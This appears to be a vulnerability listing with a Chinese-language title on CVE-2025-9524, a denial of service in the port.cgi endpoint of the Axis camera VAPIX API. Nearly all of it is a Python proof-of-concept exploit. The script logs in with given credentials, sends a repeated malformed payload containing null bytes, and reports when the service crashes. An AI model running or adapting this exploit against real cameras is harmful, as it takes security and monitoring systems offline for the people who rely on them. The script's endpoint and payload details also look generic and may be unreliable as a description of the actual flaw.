CVE-2025-9524 | Axis摄像头VAPIX API port.cgi输入验证不足导致拒绝服务

#!/usr/bin/env python3 # CVE-2025-9524 PoC - Axis VAPIX API port.cgi Input Validation Issue # Requires valid credentials (viewer/operator/administrator) import requests import sys import argparse def exploit(target_url, username, password): """ Exploit for CVE-2025-9524 Sends malformed request to VAPIX port.cgi endpoint """ # VAPIX authentication auth_url = f"{target_url}/cgi-bin/login.cgi" auth_data = { "user": username, "password": password } try: # Authenticate session = requests.Session() response = session.post(auth_url, data=auth_data, timeout=10) if response.status_code != 200: print("[-] Authentication failed") return False # Malformed request to port.cgi with invalid parameters exploit_url = f"{target_url}/cgi-bin/port.cgi" headers = { "Content-Type": "application/x-www-form-urlencoded" } # Sending malformed input to trigger validation issue payload = "action=update&port=invalid_input\x00\xfe\x00\n" * 100 response = session.post(exploit_url, data=payload, headers=headers, timeout=10) # Check if process crashed (service unavailable) if response.status_code in [500, 502, 503]: print("[+] Successfully triggered DoS condition") print(f"[+] Response: {response.status_code}") return True else: print("[-] Exploit may not have succeeded") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-9524 PoC") parser.add_argument("-t", "--target", required=True, help="Target URL") parser.add_argument("-u", "--username", required=True, help="Username") parser.add_argument("-p", "--password", required=True, help="Password") args = parser.parse_args() print(f"[*] Targeting: {args.target}") print(f"[*] Attempting CVE-2025-9524 exploitation...") exploit(args.target, args.username, args.password)